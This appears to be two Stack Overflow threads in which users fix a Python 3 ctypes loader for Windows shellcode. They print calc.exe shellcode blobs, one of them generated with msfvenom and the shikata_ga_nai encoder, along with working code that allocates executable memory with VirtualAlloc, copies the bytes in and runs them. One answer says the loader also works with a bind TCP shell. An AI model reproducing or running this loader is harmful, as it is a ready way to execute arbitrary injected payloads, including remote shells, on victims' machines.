How to run shellcode in python 3?

Asked 4 years, 6 months ago Modified 3 years, 7 months ago Viewed 4k times

4

I'm trying to run shellcode in python, and have the following working python2 code, but I need it to be converted to python3. I fixed all the syntax errors (just the missing encoding for bytearray) and it just gives me access violation writing (address)

```
import ctypes
import sys
#calc.exe
sc = ("\xdb\xc3\xd9\x74\x24\xf4\xbe\xe8\x5a\x27\x13\x5f\x31\xc9"
"\xb1\x33\x31\x77\x17\x83\xc7\x04\x03\x9f\x49\xc5\xe6\xa3"
"\x86\x80\x09\x5b\x57\xf3\x80\xbe\x66\x21\xf6\xcb\xdb\xf5"
"\x7c\x99\xd7\x7e\xd0\x09\x63\xf2\xfd\x3e\xc4\xb9\xdb\x71"
"\xd5\x0f\xe4\xdd\x15\x11\x98\x1f\x4a\xf1\xa1\xd0\x9f\xf0"
"\xe6\x0c\x6f\xa0\xbf\x5b\xc2\x55\xcb\x19\xdf\x54\x1b\x16"
"\x5f\x2f\x1e\xe8\x14\x85\x21\x38\x84\x92\x6a\xa0\xae\xfd"
"\x4a\xd1\x63\x1e\xb6\x98\x08\xd5\x4c\x1b\xd9\x27\xac\x2a"
"\x25\xeb\x93\x83\xa8\xf5\xd4\x23\x53\x80\x2e\x50\xee\x93"
"\xf4\x2b\x34\x11\xe9\x8b\xbf\x81\xc9\x2a\x13\x57\x99\x20"
"\xd8\x13\xc5\x24\xdf\xf0\x7d\x50\x54\xf7\x51\xd1\x2e\xdc"
"\x75\xba\xf5\x7d\x2f\x66\x5b\x81\x2f\xce\x04\x27\x3b\xfc"
"\x51\x51\x66\x6a\xa7\xd3\x1c\xd3\xa7\xeb\x1e\x73\xc0\xda"
"\x95\x1c\x97\xe2\x7f\x59\x67\xa9\x22\xcb\xe0\x74\xb7\x4e"
"\x6d\x87\x6d\x8c\x88\x04\x84\x6c\x6f\x14\xed\x69\x2b\x92"
"\x1d\x03\x24\x77\x22\xb0\x45\x52\x41\x57\xd6\x3e\xa8\xf2"
"\x5e\xa4\xb4")


shellcode=bytearray(sc,'utf-8')
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
```

```
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
```

Edit: Added error log

```
$ python .\sad.py
Traceback (most recent call last):
  File ".\sad.py", line 34, in <module>
    ctypes.c_int(len(shellcode)))
OSError: exception: access violation writing 0x0000000043750000
```

python **python-3.x** **exploit**

Share Improve this question Follow

edited May 27, 2020 at 13:23

MariusSiuram
3,615 ● 3 ● 24 ● 44

asked May 27, 2020 at 6:00

CodeX
71 ● 2 ● 5

can you please provide the error log? and re-edit your question – Avishka Dambawinna May 27, 2020 at 6:09

1 Ok re edited. Sorry bout that. – CodeX May 27, 2020 at 6:14

1 Answer

Sorted by: Highest score (default)

The error appears when you call `RtlMoveMemory` with the parameter `ctypes.c_int(ptr)`.

2

ctypes is a foreign function library and a FFI (Foreign Function Interface) as `Virtualalloc` is not prototyped, you have to do it yourself. The default behavior with integers for a C FFI (on parameters and the result) will be to convert the integer as `c_int`, which is on Windows an alias for `c_long`, a signed 32-bits integer. But nowadays, we have 64-bits systems with 64-bits address memories that you can't store on 4 bytes if the memory address is too high. So you need to set explicitly the result type of `VirtualAlloc` with a type handling 64-bits:

```
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
```

And then `RtlMoveMemory` will expect a pointer on the address returned by `VirtualAlloc`:

```
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
```

Share Improve this answer Follow

edited May 7, 2021 at 6:39

answered May 5, 2021 at 15:06

CravateRouge

140 ● 7

CTYPES access violation writing with python3.8 while 2.7 works

Asked 4 years, 6 months ago Modified 4 years, 6 months ago Viewed 1k times

-1

I create some shellcode to pop up calc.exe on Windows. The shellcode is in the variable `buf` (omitted here for space). With python2.7 it works and the calculator appears. With python 3, it fails with `OSError: exception: access violation writing 0x00000023EE895F650` (memory location differs on each run).

Here's the code. As I understand it, `create_string_buffer` will automatically allocate space to match the length of `buf` and `CFUNCTYPE` will use `null` in place of python's `None`.

```
# Win10 Pro 10.0.1863 x64
# Python 2.7.1 32bit win32
# Python 3.8.3 32bit win32
import ctypes
buf =  b""
buf += b"\xbd\x46\x90\xe4\x4e\xdb\xc8\xd9\x74\x24\xf4\x58\x2b"
buf += b"\xc9\xb1\x31\x31\x68\x13\x83\xe8\xfc\x03\x68\x49\x72"
buf += b"\x11\xb2\xbd\xf0\xda\x4b\x3d\x95\x53\xae\x0c\x95\x00"
buf += b"\xba\x3e\x25\x42\xee\xb2\xce\x06\x1b\x41\xa2\x8e\x2c"
buf += b"\xe2\x09\xe9\x03\xf3\x22\xc9\x02\x77\x39\x1e\xe5\x46"
buf += b"\xf2\x53\xe4\x8f\xef\x9e\xb4\x58\x7b\x0c\x29\xed\x31"
buf += b"\x8d\xc2\xbd\xd4\x95\x37\x75\xd6\xb4\xe9\x0e\x81\x16"
buf += b"\x0b\xc3\xb9\x1e\x13\x00\x87\xe9\xa8\xf2\x73\xe8\x78"
buf += b"\xcb\x7c\x47\x45\xe4\x8e\x99\x81\xc2\x70\xec\xfb\x31"
buf += b"\x0c\xf7\x3f\x48\xca\x72\xa4\xea\x99\x25\x00\x0b\x4d"
buf += b"\xb3\xc3\x07\x3a\xb7\x8c\x0b\xbd\x14\xa7\x37\x36\x9b"
buf += b"\x68\xbe\x0c\xb8\xac\x9b\xd7\xa1\xf5\x41\xb9\xde\xe6"
buf += b"\x2a\x66\x7b\x6c\xc6\x73\xf6\x2f\x8c\x82\x84\x55\xe2"
buf += b"\x85\x96\x55\x52\xee\xa7\xde\x3d\x69\x38\x35\x7a\x85"
buf += b"\x72\x14\x2a\x0e\xdb\xcc\x6f\x53\xdc\x3a\xb3\x6a\x5f"
buf += b"\xcf\x4b\x89\x7f\xba\x4e\xd5\xc7\x56\x22\x46\xa2\x58"
buf += b"\x91\x67\xe7\x3a\x74\xf4\x6b\x93\x13\x7c\x09\xeb"

def run():
    buffer = ctypes.create_string_buffer(buf)
    shell_func = ctypes.cast(buffer, ctypes.CFUNCTYPE(None))
    shell_func()
```

```
if __name__ == '__main__':
    run()
```

I've read and googled but have no idea on why it won't work in Python3. Any ideas?

FWIW, here is how I created the shellcode:

```
# Linux kali 5.6.0-kali1-amd64
# metasploit v5.0.89-dev
msfvenom -p windows/exec -e x86/shikata_ga_nai -i 1 -f python cmd=calc.exe
```

python **python-3.x** **ctypes**

Share Improve this question Follow

edited Jun 3, 2020 at 11:51

asked Jun 2, 2020 at 13:20

Tim

1,023 ● 3 ● 18 ● 36

why the downvote? – Tim Jun 2, 2020 at 22:08

Don't omit the shellcode. – Joseph Sible-Reinstate Monica Jun 3, 2020 at 2:10

The allocated buffer memory is not executable. Just tested it on a debugger. Try copying your buffer into allocation made by `VirtualAlloc()` with `PAGE_EXECUTE_READWRITE`. – Neitsa Jun 3, 2020 at 15:21

@Neitsa, thanks. I have it working now. If you will make your comment an answer I'll mark it solved.ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(length), ctypes.c_int(0x3000), ctypes.c_int(0x40)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buffer, ctypes.c_int(len(shellcode))) – Tim Jun 3, 2020 at 16:05

1 Answer

Sorted by: Highest score (default)

Thanks to Neitsa's comment, here is the code that works. Using shellcode as above, or your own in a variable called `buf`:

2

```
def run():
    buffer = ctypes.create_string_buffer(buf)
    length = len(buffer)

    ptr = ctypes.windll.kernel32.VirtualAlloc(None, length, 0x1000|0x2000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ptr, buffer, length)
    shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
    shell_func()

if __name__ == '__main__':
    run()
```

First, allocate enough memory to hold the shellcode. The two constants in `VirtualAlloc` define

- `0x1000|0x2000` = MEM_COMMIT | MEM_RESERVE (see MS docs)
- `0x40` PAGE_EXECUTE_READWRITE

Next, move the shellcode into the allocated memory. Finally, cast the shellcode as a function and call the function. Tested with shellcode given in question (popup calculator) and with a bind tcp shell (not shown).

Still don't know exactly why python3 behaves differently but looks like it's trying to write to non-executable memory. This method works with Python2 or Python3.

Share Improve this answer Follow

answered Jun 4, 2020 at 17:08

Tim

1,023 ● 3 ● 18 ● 36

2 This method won't work on python 64bits because VirtualAlloc will return only 4 bytes but you need 8 for high addresses in 64bits. See this answer – CravateRouge May 5, 2021 at 15:13